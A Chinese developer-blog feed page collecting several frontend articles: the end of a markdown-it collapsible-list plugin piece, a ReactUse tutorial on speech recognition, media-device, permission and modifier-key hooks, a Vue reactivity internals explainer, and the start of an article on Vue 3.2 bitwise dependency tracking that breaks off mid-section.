接下来,我们需要为i - k之间的元素创建summary元素,用以指定折叠标题。这里是最难以处理的点,因为不仅是修改内容,还需要插入新的token。并且需要对其peer节点进行处理,将其token.type转换为li_details_close元素。

// 为 i - k 之间的元素创建 summary
const sOpen = new state.Token("li_summary_open", "summary", 1);
const sClose = new state.Token("li_summary_close", "summary", -1);
// 现在 peer 是 i 之后的元素, 不会影响原始遍历 li 的栈平衡
if (peer) {
  peer.type = "li_details_close";
  peer.tag = "details";
}
// 处理 summary 元素的插入位置
actions.push({ idx: openIdx + 1, token: sOpen });
actions.push({ idx: k, token: sClose });

上述的actions是需要关注的点,我们并不会直接修改tokens数组,因为此时修改tokens数组会导致其长度发生变化,从而影响到后续节点的遍历,以及插入位置的计算。在这里我们统一处理插入行为,这里需要关注的是按索引从大到小排序, 后索引的元素, 不影响前索引的元素。

actions
  .sort((a, b) => b.idx - a.idx)
  .forEach(action => {
    tokens.splice(action.idx, 0, action.token);
  });

最后,由于我们插入了新的层级,我们需要将内部的level也更新一下。因此从这里也可以看出来level并不是那么准确,如果注册的插件并没有处理好level的话,则会影响到后续依赖该字段的插件。

// 处理 summary 及其内部元素的 level
sOpen.level = liToken.level + 1;
sClose.level = liToken.level + 1;
for (let i = openIdx + 1; i < k; i++) {
  const token = tokens[i];
  token.level = (token.level || 0) + 1;
}

CSS 样式

实际上,由于不同浏览器的details + summary元素的默认样式不同,因此需要对其样式进行统一化处理。不过,这部分主要是由组件库来实现的,我们只需要关注其基本功能即可。此外提一下,summary还是需要一个border样式的,特别是存在多行内容的情况下。

/*
 * Add the correct display in Edge, IE 10+, and Firefox.
 */
details {
  display: block;
}

/*
 * Add the correct display in all browsers.
 */
summary {
  display: list-item;
}

总结

在这里我们基于MdIt,解析了基础的无序列表结构,并且观察了其层级关系,设计出了一套DOM结构转换规则。基于此分别使用纯渲染模式以及解析后处理模式,实现了无序列表折叠插件,这种结构表达在思维导图和API参数表达中非常有用。

实际上,我们实现的插件还有很多可以优化的地方。首先我们可以将结构化表达和渲染时表达结合起来,在解析后处理时仅需要将需要相关token写入标记,在渲染时处理标签结构即可。此外,结构处理写入的时候实际上应该将所有变更统一处理,以避免影响现有遍历和判断,理论上应该引入OT-JSON来处理各个变更之间的相互影响。

每日一题

参考

昨天以前首页

React 中的语音与摄像头输入:语音识别、媒体设备与权限

2026年5月7日 10:04

语音和摄像头是把一个静态 Web 应用变得鲜活的两种感官。一个能对它说话的搜索栏。一个实时把你说的话转成文字的笔记应用。一个让你选择用哪个摄像头的会议工具。一个按住按键就能说话的对讲机。这些早已不再罕见——浏览器有这些 API 已经好多年了——但每一个都被一连串权限弹窗、厂商前缀和生命周期的怪癖挡在前面,让人很难干净地把它们集成进 React 组件。

本文将带你走过四种用于语音和摄像头输入的浏览器能力:带中间结果的实时语音识别、枚举用户的摄像头和麦克风、在权限被撤销时仍能存活的权限查询,以及把 Shift 键当作按住说话修饰符使用。和往常一样,我们会先用手动实现来开局,让你看清底层的管道,然后再换成 ReactUse 里专门的 Hook。最后,我们会把四个 Hook 组合成一个完整的语音搜索组件,包含设备选择器、权限闸门,以及按住说话的录音交互。

1. 实时语音识别

手动实现

Web Speech API 是一个比较老的浏览器 API,但从未真正被标准化——Chrome 把它实现成 webkitSpeechRecognition,而无前缀的 SpeechRecognition 在大多数引擎里仍然缺失。最小可用的 React 包装看起来像这样:

function ManualSpeechRecognition() {
  const [transcript, setTranscript] = useState("");
  const [listening, setListening] = useState(false);
  const recognitionRef = useRef<any>(null);

  useEffect(() => {
    const SR =
      (window as any).SpeechRecognition ||
      (window as any).webkitSpeechRecognition;
    if (!SR) return;
    const recognition = new SR();
    recognition.continuous = true;
    recognition.interimResults = true;
    recognition.lang = "zh-CN";
    recognition.onresult = (event: any) => {
      const result = event.results[event.resultIndex];
      setTranscript(result[0].transcript);
    };
    recognition.onend = () => setListening(false);
    recognitionRef.current = recognition;
    return () => recognition.abort();
  }, []);

  const start = () => {
    recognitionRef.current?.start();
    setListening(true);
  };
  const stop = () => {
    recognitionRef.current?.stop();
    setListening(false);
  };

  return (
    <div>
      <button onClick={listening ? stop : start}>
        {listening ? "停止" : "开始"}识别
      </button>
      <p>{transcript}</p>
    </div>
  );
}

这个能跑,但忽略了那些粗糙的边角。它没有区分 isFinal,所以 UI 无法判断用户什么时候停顿了("中间结果"和"最终结果"的区别正是让语音 UI 显得有响应的关键)。它没有错误处理——如果用户拒绝了麦克风权限或网络断了,转录就会默默地永远不更新。它没有语言协商。而且 SR 的类型很糟糕,因为 TypeScript 没有为 webkitSpeechRecognition 提供类型。

ReactUse 的方式:useSpeechRecognition

useSpeechRecognition 返回一个干净的对象,提供恰当的原语:

import { useSpeechRecognition } from "@reactuses/core";

function VoiceNote() {
  const { isSupported, isListening, isFinal, result, error, start, stop } =
    useSpeechRecognition({
      lang: "zh-CN",
      interimResults: true,
      continuous: true,
    });

  if (!isSupported) {
    return <p>当前浏览器不支持语音识别。</p>;
  }

  return (
    <div>
      <button onClick={isListening ? stop : start}>
        {isListening ? "停止" : "开始"}口述
      </button>
      <p
        style={{
          fontStyle: isFinal ? "normal" : "italic",
          color: isFinal ? "#0f172a" : "#64748b",
        }}
      >
        {result || "说点什么..."}
      </p>
      {error && <p style={{ color: "#ef4444" }}>错误:{error.error}</p>}
    </div>
  );
}

你不用写就能拿到的好处:

  1. isFinal —— Hook 会跟踪当前 result 是语音引擎的临时猜测(在示例里是斜体)还是已经锁定的转录。这是相比朴素版本最大的 UX 提升。
  2. error 对象 —— 当权限被拒、网络断开或引擎失败时,你能拿到一个带类型的错误对象,可以展示给用户而不是默默地卡住。
  3. 热配置start({ lang: "fr-FR" }) 让你能在会话中途切换语言,无需重建识别器。
  4. 卸载时清理。Hook 会自动调用 abort(),所以离开页面永远不会让麦克风一直开着。

最有威力的模式是把识别结果绑到一个搜索输入框上,让用户在说话时实时输入查询。因为 Hook 会在每个中间结果到来时重渲,你可以直接用语音输入来驱动一个实时搜索查询,让用户在说话时就能看到结果。

2. 枚举摄像头和麦克风

手动实现

列出用户的音频和视频设备需要 navigator.mediaDevices.enumerateDevices()。有个陷阱:在用户对某个设备授予权限之前,返回的标签是空的——你只能拿到一组 deviceId,但拿不到像 "FaceTime HD Camera" 这样的 label。要拿到标签,你必须先调用 getUserMedia 触发权限弹窗,然后再枚举一次。

function ManualDeviceList() {
  const [devices, setDevices] = useState<MediaDeviceInfo[]>([]);

  useEffect(() => {
    let mounted = true;
    const refresh = async () => {
      try {
        // 触发权限以填充标签
        const stream = await navigator.mediaDevices.getUserMedia({
          audio: true,
          video: true,
        });
        stream.getTracks().forEach((t) => t.stop());
        const list = await navigator.mediaDevices.enumerateDevices();
        if (mounted) setDevices(list);
      } catch (e) {
        console.error(e);
      }
    };
    refresh();
    navigator.mediaDevices.addEventListener("devicechange", refresh);
    return () => {
      mounted = false;
      navigator.mediaDevices.removeEventListener("devicechange", refresh);
    };
  }, []);

  return (
    <ul>
      {devices.map((d) => (
        <li key={d.deviceId}>
          {d.kind}: {d.label || "(标签隐藏)"}
        </li>
      ))}
    </ul>
  );
}

形状是对的,但你每次都要写权限触发的舞蹈、临时流的清理,以及 device-change 监听器。

ReactUse 的方式:useMediaDevices

useMediaDevices 把整套流程打包了起来:

import { useMediaDevices } from "@reactuses/core";

function CameraPicker({
  selected,
  onSelect,
}: {
  selected: string;
  onSelect: (id: string) => void;
}) {
  const [{ devices }, ensurePermissions] = useMediaDevices({
    requestPermissions: true,
    constraints: { video: true, audio: false },
  });

  const cameras = devices.filter((d) => d.kind === "videoinput");

  return (
    <div>
      <button onClick={() => ensurePermissions()}>刷新设备</button>
      <select
        value={selected}
        onChange={(e) => onSelect(e.target.value)}
        style={{ marginLeft: 8 }}
      >
        {cameras.map((cam) => (
          <option key={cam.deviceId} value={cam.deviceId}>
            {cam.label || `摄像头 ${cam.deviceId.slice(0, 6)}`}
          </option>
        ))}
      </select>
    </div>
  );
}

Hook 处理了三件你本来要自己写的事:

  • 权限协商。传 requestPermissions: true,Hook 会在挂载时根据你指定的 constraints 触发 getUserMedia,然后立即停止临时音视轨道,让摄像头指示灯熄灭。
  • 实时设备列表。Hook 监听 devicechange 并自动重新枚举——如果用户插入新麦克风或拔掉耳机,列表会自动更新,不需要额外代码。
  • 手动刷新。返回的 ensurePermissions 让你随时能再触发一次提示,对于"用户拒绝了一次后想再试一次"的按钮非常有用。

constraints 参数会直接转发给 getUserMedia,所以你只需要视频时(跳过那种"想要麦克风权限吗"的别扭弹窗)就只请求视频。

3. 正确地查询权限

手动实现

要在不触发弹窗的情况下检查用户是否已经授予(或拒绝)麦克风或摄像头权限,需要 Permissions API。它支持得很好但很啰嗦:

function ManualMicPermission() {
  const [state, setState] = useState<PermissionState | "unknown">("unknown");

  useEffect(() => {
    let mounted = true;
    let status: PermissionStatus | null = null;
    (async () => {
      try {
        status = await navigator.permissions.query({
          name: "microphone" as PermissionName,
        });
        if (mounted) setState(status.state);
        status.onchange = () => mounted && status && setState(status.state);
      } catch {
        // 此名称的 Permissions API 不可用
      }
    })();
    return () => {
      mounted = false;
      if (status) status.onchange = null;
    };
  }, []);

  return <p>麦克风权限:{state}</p>;
}

三件值得注意的事。第一,API 通过 onchange 提供回调,对 React 不友好。第二,你必须同时特性检测 Permissions API 本身和具体的 name(某些浏览器不支持 "microphone")。第三,change 监听器必须显式清理,而不能通过 effect 返回值。

ReactUse 的方式:usePermission

usePermission 把整段舞蹈减到一次调用:

import { usePermission } from "@reactuses/core";

function MicStatusBadge() {
  const state = usePermission("microphone");

  const color =
    state === "granted"
      ? "#10b981"
      : state === "denied"
      ? "#ef4444"
      : "#f59e0b";

  return (
    <span style={{ color, fontWeight: 600 }}>
      麦克风:{state || "未知"}
    </span>
  );
}

state 是一个 React 原生字符串,每当底层权限状态变化时就会更新——包括外部变化,比如用户进入浏览器设置撤销了权限,你的组件 state 就会翻转到 "denied",不需要你做任何操作。

你可以传一个像 "microphone""camera" 这样的字符串,也可以传一个完整的 PermissionDescriptor 对象,用于像 "push" 这样需要额外字段的权限。形状和 navigator.permissions.query 完全一致,只是变成了一个 Hook。

4. 用 useKeyModifier 实现按住说话

手动实现

按住说话按钮比看起来要难。你想检测用户是否在按住某个键(比如 Space 或 Shift),按住时开始录音,松开时立即停止。你还得处理这种情况:用户按住按键、把焦点切到另一个窗口、在你的页面隐藏时松开按键、然后再回来——否则录音器会一直卡在录制状态。

function ManualPushToTalk() {
  const [pressed, setPressed] = useState(false);

  useEffect(() => {
    const onDown = (e: KeyboardEvent) => {
      if (e.code === "Space") setPressed(true);
    };
    const onUp = (e: KeyboardEvent) => {
      if (e.code === "Space") setPressed(false);
    };
    const onBlur = () => setPressed(false);
    window.addEventListener("keydown", onDown);
    window.addEventListener("keyup", onUp);
    window.addEventListener("blur", onBlur);
    return () => {
      window.removeEventListener("keydown", onDown);
      window.removeEventListener("keyup", onUp);
      window.removeEventListener("blur", onBlur);
    };
  }, []);

  return <p>{pressed ? "正在录制..." : "按住空格说话"}</p>;
}

这个差不多能跑。bug 是:如果 Space 键在按住时自动重复(大多数操作系统都会这样),你会先收到一个 keydown,然后又一个 keydown,最后才是 keyup。这个你处理了。但如果用户按的是 Shift 并把它当成与其他键的组合修饰符使用,你的手动跟踪就不知道了。

ReactUse 的方式:useKeyModifier

useKeyModifier 把 OS 级别的修饰键状态(和你从 event.getModifierState 拿到的值一样)暴露为 React state:

import { useKeyModifier } from "@reactuses/core";

function ShiftToRecord({ onTalkStart, onTalkEnd }: {
  onTalkStart: () => void;
  onTalkEnd: () => void;
}) {
  const shift = useKeyModifier("Shift");

  useEffect(() => {
    if (shift) onTalkStart();
    else onTalkEnd();
  }, [shift, onTalkStart, onTalkEnd]);

  return (
    <div
      style={{
        padding: 16,
        background: shift ? "#fef3c7" : "#f1f5f9",
        borderRadius: 8,
        textAlign: "center",
      }}
    >
      {shift ? "正在录制(松开 Shift 停止)" : "按住 Shift 说话"}
    </div>
  );
}

相比 keydown/keyup 版本的好处:

  • OS 感知。Hook 读取 getModifierState,从 OS 查询实际的修饰键状态。它能正确应对自动重复、焦点丢失和奇怪的组合键。
  • 支持任何修饰键。传 "Control""Alt""Meta""CapsLock""NumLock"——浏览器追踪的任何修饰键都行。
  • 初始值。如果你想让 React state 初始为 true,就配置 initial: true(不常见,但调试时有用)。

全部组合:带设备选择器的语音搜索

我们把四个 Hook 组合成一个语音驱动的搜索组件。用户可以选择用哪个麦克风、看到一个权限徽章、按住 Shift 开始口述、并在说话时实时看到转录更新。当他们松开 Shift 时,最终转录就成了搜索查询。

import { useEffect, useState } from "react";
import {
  useSpeechRecognition,
  useMediaDevices,
  usePermission,
  useKeyModifier,
} from "@reactuses/core";

function VoiceSearch() {
  const [selectedMic, setSelectedMic] = useState<string>("");
  const [query, setQuery] = useState("");

  const micPermission = usePermission("microphone");
  const [{ devices }, requestDevices] = useMediaDevices({
    requestPermissions: false,
    constraints: { audio: true, video: false },
  });

  const microphones = devices.filter((d) => d.kind === "audioinput");

  const {
    isSupported,
    isListening,
    isFinal,
    result,
    error,
    start,
    stop,
  } = useSpeechRecognition({
    lang: "zh-CN",
    interimResults: true,
    continuous: false,
  });

  const shiftDown = useKeyModifier("Shift");

  // 按住说话:按下 Shift 时开始,松开时停止
  useEffect(() => {
    if (!isSupported || micPermission !== "granted") return;
    if (shiftDown) {
      start();
    } else if (isListening) {
      stop();
    }
  }, [shiftDown, isSupported, micPermission, start, stop, isListening]);

  // 当识别最终化时,把结果提交到查询
  useEffect(() => {
    if (isFinal && result) {
      setQuery(result);
    }
  }, [isFinal, result]);

  const permissionColor =
    micPermission === "granted"
      ? "#10b981"
      : micPermission === "denied"
      ? "#ef4444"
      : "#f59e0b";

  return (
    <div
      style={{
        maxWidth: 640,
        padding: 24,
        background: "#ffffff",
        borderRadius: 16,
        boxShadow: "0 4px 24px rgba(15, 23, 42, 0.06)",
        fontFamily: "system-ui, sans-serif",
      }}
    >
      <header
        style={{
          display: "flex",
          justifyContent: "space-between",
          alignItems: "center",
          marginBottom: 16,
        }}
      >
        <h2 style={{ margin: 0, fontSize: 18 }}>语音搜索</h2>
        <span style={{ color: permissionColor, fontSize: 13, fontWeight: 600 }}>
          ● 麦克风:{micPermission || "未知"}
        </span>
      </header>

      {!isSupported && (
        <p style={{ color: "#64748b" }}>
          当前浏览器不支持语音识别。请试试 Chrome。
        </p>
      )}

      {isSupported && micPermission !== "granted" && (
        <button
          onClick={requestDevices}
          style={{
            width: "100%",
            padding: 12,
            background: "#3b82f6",
            color: "white",
            border: "none",
            borderRadius: 8,
            cursor: "pointer",
          }}
        >
          授权麦克风访问
        </button>
      )}

      {isSupported && micPermission === "granted" && (
        <>
          <div style={{ display: "flex", gap: 12, marginBottom: 12 }}>
            <select
              value={selectedMic}
              onChange={(e) => setSelectedMic(e.target.value)}
              style={{
                flex: 1,
                padding: 8,
                borderRadius: 6,
                border: "1px solid #cbd5e1",
              }}
            >
              <option value="">默认麦克风</option>
              {microphones.map((mic) => (
                <option key={mic.deviceId} value={mic.deviceId}>
                  {mic.label || `麦克风 ${mic.deviceId.slice(0, 6)}`}
                </option>
              ))}
            </select>
          </div>

          <div
            style={{
              padding: 16,
              background: shiftDown ? "#dcfce7" : "#f8fafc",
              borderRadius: 8,
              border: shiftDown
                ? "2px solid #10b981"
                : "2px dashed #cbd5e1",
              textAlign: "center",
              transition: "all 120ms ease",
            }}
          >
            <p style={{ margin: 0, fontWeight: 600, fontSize: 13 }}>
              {shiftDown ? "正在监听..." : "按住 Shift 进行口述"}
            </p>
            {result && (
              <p
                style={{
                  margin: "8px 0 0",
                  fontStyle: isFinal ? "normal" : "italic",
                  color: isFinal ? "#0f172a" : "#64748b",
                }}
              >
                {result}
              </p>
            )}
          </div>

          {error && (
            <p style={{ color: "#ef4444", fontSize: 13, marginTop: 8 }}>
              识别错误:{error.error}
            </p>
          )}

          <input
            value={query}
            onChange={(e) => setQuery(e.target.value)}
            placeholder="搜索查询..."
            style={{
              width: "100%",
              marginTop: 12,
              padding: 10,
              borderRadius: 6,
              border: "1px solid #cbd5e1",
              fontSize: 16,
            }}
          />
        </>
      )}
    </div>
  );
}

四个 Hook,四个相互正交的关注点:

  • usePermission 驱动 header 中的徽章,并把 UI 的其余部分挡在用户实际决策之后。因为它是响应式的,如果用户在浏览器设置里撤销了麦克风权限,徽章会自动更新,输入框会自动消失。
  • useMediaDevices 填充麦克风选择器,除非用户点击"授权",否则不会强制弹出权限对话框。
  • useSpeechRecognition 完成实际的转录,区分中间结果和最终结果,并以带类型的方式暴露引擎错误。
  • useKeyModifier 把 Shift 键变成按住说话的触发器,能正确应对焦点丢失、OS 自动重复和奇怪的组合键。

整个组件大概 130 行,绝大多数都是标签。浏览器 API 那些历来最难做对的部分,每个关注点只占一行 import。

关于测试的一点说明

语音和摄像头功能出了名地难测试,因为它们依赖的浏览器 API 需要真实的人手势和物理硬件。这些 Hook 都暴露了 isSupported 标志,所以你的测试环境(jsdom、Vitest、用 mock navigator 的 Storybook)可以在底层 API 缺失时干净地分支并渲染 fallback 状态。如果你在做严肃的语音 UI,请专门划出一小层在 headless Chrome 里用假媒体流跑的集成测试——那才是抓真正 bug 的唯一方式。

安装

npm i @reactuses/core

相关 Hook

  • useSpeechRecognition —— 实时语音转文字,跟踪中间和最终结果
  • useMediaDevices —— 枚举摄像头和麦克风,处理权限
  • usePermission —— 响应式地查询任意权限的 Permissions API
  • useKeyModifier —— 跟踪 OS 级别的修饰键状态(Shift、Control 等)
  • useSupported —— 响应式地检查浏览器 API 是否可用
  • useEventListener —— 声明式地附加事件监听器,可用于自定义语音流程
  • useObjectUrl —— 为录制的音频 blob 创建临时 URL 以预览

ReactUse 提供了 100+ 个 React Hook。全部探索 →

Vue 响应式系统源码级剖析:从 Object.defineProperty 到 Proxy

2026年5月7日 09:06

Vue 3 的响应式系统被誉为前端框架的"艺术品"。它如何在数据变化时精准触发视图更新?如何避免不必要的重渲染?

今天,我们不讲表面用法,直接从 V8 引擎的内存布局出发,深度剖析 Vue 响应式系统的底层实现机制。

1. 响应式系统的核心目标

响应式系统的本质是建立一个依赖追踪图(Dependency Graph)

数据变化 → 触发 Getter → 收集依赖 → 执行 Setter → 通知更新 → 视图刷新

难点在于:

  1. 精准收集:只收集真正用到该数据的组件
  2. 高效通知:避免无关组件的重复渲染
  3. 嵌套支持:深层对象、数组的响应式处理

2. Vue 2 方案:Object.defineProperty 的局限

2.1 核心实现

function defineReactive(obj, key, val) {
    const dep = new Dep(); // 依赖收集器
    
    Object.defineProperty(obj, key, {
        get() {
            if (Dep.target) {
                dep.depend(); // 收集当前 Watcher
            }
            return val;
        },
        set(newVal) {
            if (newVal === val) return;
            val = newVal;
            dep.notify(); // 通知所有依赖更新
        }
    });
}

2.2 致命缺陷

问题 原因 影响
无法检测属性新增/删除 Object.defineProperty 只能劫持已存在的属性 需要用 Vue.set
数组变异方法失效 数组索引赋值不会触发 Setter 需要重写 7 个数组方法
递归遍历性能差 初始化时需要深度遍历整个对象树 大型对象卡顿

3. Vue 3 方案:Proxy 的降维打击

3.1 核心实现

function reactive(target) {
    return new Proxy(target, {
        get(target, key, receiver) {
            const res = Reflect.get(target, key, receiver);
            track(target, key); // 收集依赖
            return isObject(res) ? reactive(res) : res;
        },
        set(target, key, value, receiver) {
            const oldValue = target[key];
            const result = Reflect.set(target, key, value, receiver);
            if (oldValue !== value) {
                trigger(target, key); // 触发更新
            }
            return result;
        }
    });
}

3.2 Proxy 的优势

特性 Object.defineProperty Proxy
拦截范围 单个属性 整个对象
新增/删除属性 不支持 ✅ 原生支持
数组索引操作 ❌ 需重写方法 ✅ 原生支持
性能 递归遍历 O(n) 惰性代理 O(1)

4. 依赖收集机制:Dep 与 Watcher 的协作

4.1 Dep(依赖收集器)

class Dep {
    constructor() {
        this.subscribers = new Set(); // 使用 Set 去重
    }
    
    depend() {
        if (Dep.target) {
            this.subscribers.add(Dep.target);
        }
    }
    
    notify() {
        this.subscribers.forEach(watcher => {
            watcher.update();
        });
    }
}

4.2 WeakMap 存储映射

Vue 3 使用 WeakMap 建立数据到依赖的映射:

const targetMap = new WeakMap();

function track(target, key) {
    if (!Dep.target) return;
    
    let depsMap = targetMap.get(target);
    if (!depsMap) {
        depsMap = new Map();
        targetMap.set(target, depsMap);
    }
    
    let dep = depsMap.get(key);
    if (!dep) {
        dep = new Set();
        depsMap.set(key, dep);
    }
    
    dep.add(Dep.target);
}

数据结构

targetMap (WeakMap)
  └─ target (对象)
      └─ depsMap (Map)
          └─ key (属性名)
              └─ dep (Set)
                  └─ effect (副作用函数)

5. 调度系统:异步更新队列

Vue 不会在数据变化时立即更新视图,而是使用异步批处理

const queue = [];
let pending = false;

function queueJob(job) {
    if (!queue.includes(job)) {
        queue.push(job);
    }
    
    if (!pending) {
        pending = true;
        nextTick(flushJobs);
    }
}

function flushJobs() {
    queue.sort((a, b) => a.id - b.id); // 按优先级排序
    
    for (const job of queue) {
        job();
    }
    
    queue.length = 0;
    pending = false;
}

优势

  • 多次数据变化只触发一次渲染
  • 避免中间状态导致的闪烁
  • 按优先级排序,确保父子组件更新顺序

6. 计算属性与侦听器:衍生状态处理

6.1 Computed(惰性求值)

function computed(getter) {
    let value;
    let dirty = true;
    
    const runner = effect(getter, {
        scheduler: () => {
            dirty = true; // 标记为脏数据
        }
    });
    
    return {
        get value() {
            if (dirty) {
                value = runner();
                dirty = false;
            }
            return value;
        }
    };
}

核心机制

  • 只有在访问时才计算(惰性)
  • 依赖变化时标记 dirty,下次访问重新计算
  • 避免不必要的重复计算

6.2 Watch(主动侦听)

function watch(source, callback) {
    const getter = () => traverse(source);
    
    effect(getter, {
        scheduler: () => {
            callback(getter());
        }
    });
}

7. 工业界实战:性能优化技巧

7.1 markRaw(跳过响应式)

const rawObj = markRaw({ /* 大型数据 */ });

不需要响应式的对象(如图表实例、第三方库对象),用 markRaw 标记,避免 Proxy 开销。

7.2 shallowReactive(浅层响应式)

const state = shallowReactive({
    nested: { deep: { value: 1 } }
});

只代理第一层,嵌套对象保持原始引用,减少内存占用。

7.3 冻结对象优化

const constant = Object.freeze({ /* 常量配置 */ });

Vue 会自动跳过已冻结的对象,不会进行响应式转换。

8. 面试考点

Q1: Vue 2 为什么无法检测对象属性的新增?

A: Object.defineProperty 只能劫持对象上已存在的属性。新增属性时没有 Getter/Setter,需要在初始化时递归遍历所有属性,动态新增的属性无法被劫持。

Q2: Proxy 为什么比 Object.defineProperty 性能好?

A: Proxy 是惰性代理,只有在访问属性时才递归代理子对象。而 Object.defineProperty 在初始化时需要完整遍历整个对象树,时间复杂度 O(n)。

Q3: Vue 3 的依赖收集用了什么数据结构?

A: 使用 WeakMap → Map → Set 三层映射。targetMap(WeakMap)存储目标对象,depsMap(Map)存储属性名,dep(Set)存储副作用函数。使用 Set 自动去重。

9. 总结

Vue 响应式系统的核心设计:

  1. 数据劫持:Proxy 拦截属性访问
  2. 依赖收集:WeakMap 建立映射关系
  3. 副作用调度:异步队列批量更新
  4. 惰性求值:Computed 避免重复计算

这套系统不仅是 Vue 的核心,更是响应式编程范式的经典实现。理解它,你就掌握了现代前端框架的精髓。


💡 提示:  完整源码解析(含 Dep/Watcher 实现)已开源到 GitHub。

如果你觉得这篇关于"Vue 底层原理"的文章对你有帮助,欢迎点赞收藏!

10.响应式系统演进:通过位运算优化动态依赖收集(Vue3.2)

作者 Cobyte
2026年5月7日 09:17

前言

在 Vue3.2 的版本里面还通过位运算优化动态依赖收集的性能,那么具体是怎么做的呢?首先我们来看看原来为什么会存在性能问题,我们回顾一下第5篇文章讲解 Vue3 响应式原理的时候,在收集依赖的时候有以下一段代码。

image.png

首先是只要存在 activeEffect 变量,我们就会往 deps 中添加依赖,如果存在重复的依赖,会利用 Set 数据的特性来去重。目前这种依赖管理方式在高频更新或深层递归场景下存在性能瓶颈。具体表现为副作用函数(effect)的依赖可能随条件分支动态变化。例如:

const state = reactive({ a: '掘金签约作者', b: 'Cobyte', flag: true })

effect(() => {
  if (state.flag) {
    // 依赖 state.a
    console.log(state.a);
  } else {
    // 依赖 state.b
    console.log(state.b);
  }
});

state.flag = false
state.a = '小前端'

我们运行上述例子,结果如下:

掘金签约作者
Cobyte
Cobyte

从上述测试结果我们可以看到当设置 state.flag 为 true 时,打印了 Cobyte,这是正确的,但当改变state.a 值时,也打印了 Cobyte,其实当 state.flag 为 true 时,该副作用就跟 state.a 没有关系了,因为不管 state.a 的值怎么变,副作用的打印结果都是一样的,所以此时当 state.a 改变就触发副作用更新的行为就是浪费性能。

所以我们目前的实现存在以下问题,当 state.flag 变化时,依赖需从 state.a 切换到 state.b 时无法自动清理过期依赖,导致冗余触发而引发性能瓶颈。

对此 Vue3.2 创新性地引入 位运算(Bitwise Operations)优化依赖收集,解决了动态依赖切换导致的冗余依赖问题,从而大幅提升了响应式系统的性能。本文将从设计背景、实现原理、性能优势等方面展开分析,揭示位运算在这一场景下的核心价值。

此外对位运算还不熟的同学,可以先复习一下位运算相关知识

为什么要使用位运算来设计依赖优化?

我们在前言的例子中讲到当 state.flag 变化时,依赖需从 state.a 切换到 state.b,传统 Set 数据结构无法自动清理过期依赖,导致冗余依赖。那么怎么实现自动清理过期的依赖呢?

普通实现方案

原来的数据结构如下:

image.png

那么实现这个清除失效的依赖,按我们普通的实现方案可以这样设计,设计一个记录该依赖在 之前的层级 是否被追踪的变量 wasSet = new Set();再设计一个记录该依赖在 当前层级 是否被追踪的变量 newSet = new Set();这样我们在一轮循环中判断是否记录新的依赖的时候,先往变量 newSet 中添加该依赖,再从 wasSet 变量中判断是否已经存在该依赖,如果已经存在,那么就不再记录,如果不存在,那么就需要往原来记录依赖的变量 deps 中添加新的依赖。这样在一轮循环的最后,再去判断该依赖如果只存在 wasSet 变量中,而没有在 newSet 变量中时,则说明该依赖需要从 deps 变量中清除掉了,这样将来该依赖发生变化都不会响应式到渲染函数的重新执行。那么 wasSet 中的数据怎么来呢?可以在初始化的时候从 deps 中进行赋值。

我们上面通过文字描述大概讲了一遍普通方案的实现,那么我现在通过伪代码再还原展示一偏。

状态记录相关变量:

  • wasSet: Set<Dep> :记录上一轮执行中所有被追踪的依赖。
  • newSet: Set<Dep> :记录当前轮次执行中所有被追踪的依赖。
  • deps: Dep[] :实际存储依赖的集合。

初始化阶段:

wasSet = new Set(deps); // 初始化为上一轮的依赖  
newSet = new Set();  

依赖收集阶段:

if (!newSet.has(dep)) {  
  newSet.add(dep);  
  if (!wasSet.has(dep)) {  
    deps.push(dep); // 新增依赖  
  }  
}  

依赖清理阶段:

for (const dep of wasSet) {  
  if (!newSet.has(dep)) {  
    deps.splice(deps.indexOf(dep), 1); // 移除失效依赖  
  }  
}  
wasSet = newSet; // 更新历史状态

从上述伪代码可以清晰看出通过比对 wasSet 和 newSet 的差异,移除不再被使用的依赖,从而实现了条件分支的支持。

但这种普通方案存在以下性能瓶颈:

  1. 内存开销

    • 需维护多个 Set 实例(wasSetnewSet),存储大量依赖时内存占用高。
    • 每次递归层级变化需复制依赖集合(如 wasSet = new Set(deps))。
  2. 操作效率

    • 集合操作hasadddelete 的时间复杂度为 O(1),但哈希表操作仍存在性能损耗(如哈希碰撞)。
    • 清理阶段:遍历 wasSet 并检查 newSet 的时间复杂度为 O(n²)。
  3. 递归层级管理

    • 深层递归时需为每层维护独立的 Set,内存和计算开销指数级增长。

所以 Vue3 并没有采用这种实现方式,那么接下来让我们继续探讨 Vue3 的实现方案吧。

位运算优化方案(Vue3 实现)

在 Vue3 中则巧妙地创建一个兼具 依赖存储 和 追踪状态标记 的复合数据结构的变量。设计如下:

image.png

通过扩展 Set 而非创建全新数据结构,复用 Set 的高效存储,仅添加 wasTrackednewTracked 两个整数字段,就创建一个兼具 依赖存储 和 追踪状态标记 的复合数据结构了。具体 wasTrackednewTracked 两个字段的作用是:

  • wasTracked:记录该依赖在 之前的层级 是否被追踪。
  • newTracked:记录该依赖在 当前层级 是否被追踪。

wasTrackednewTracked 的值都是一个二进制数字,例如:若某依赖在之前的层级(如父组件渲染)中被访问过,wasTracked 对应的位会被标记;newTracked 则是在当前渲染中如果被访问了,对应的位也会被标记。

那么为什么要使用位运算来设计呢?我们从传统的权限管理的痛点说起,因为上述的依赖优化管理机制与权限系统的位掩码设计异曲同工。

假设需要为一个用户管理系统设计权限控制,包含以下权限:

  • 读(R)0b001(二进制) → 1(十进制)
  • 写(W)0b010 → 2
  • 执行(X)0b100 → 4

传统实现方式:

const userPermissions = {
  read: true,
  write: false,
  execute: true
};

// 检查是否有读权限
if (userPermissions.read) { /* ... */ }

这种方案存在以下问题:

  • 存储冗余:每个权限需独立布尔字段,内存占用高。
  • 组合权限复杂:判断用户是否同时有读和执行权限需多次检查。
  • 扩展性差:新增权限(如 admin)需修改数据结构。

使用位运算设计权限管理系统:

通过 位掩码(Bitmask)  将权限编码为单个整数:

// 权限定义
const PERMISSIONS = {
  READ: 0b001,   // 1
  WRITE: 0b010,  // 2
  EXECUTE: 0b100 // 4
};

用户初始权限:

// 用户权限(初始为 0)
let userPermissions = 0;

添加读和执行权限:

// 添加读和执行权限
userPermissions |= PERMISSIONS.READ;    // 0b001 → 1
userPermissions |= PERMISSIONS.EXECUTE; // 0b101 → 5

检查是否有写权限:

const hasWrite = (userPermissions & PERMISSIONS.WRITE) > 0; // false

检查是否有读和执行权限:

const hasReadAndExecute = 
  (userPermissions & (PERMISSIONS.READ | PERMISSIONS.EXECUTE)) 
  === (PERMISSIONS.READ | PERMISSIONS.EXECUTE); // true

优势分析

(1) 内存高效

  • 传统方式:每个权限占用一个布尔值(通常 4 字节)。
  • 位运算:所有权限压缩为单个整数(4 字节),内存占用减少 75%

(2) 操作快速

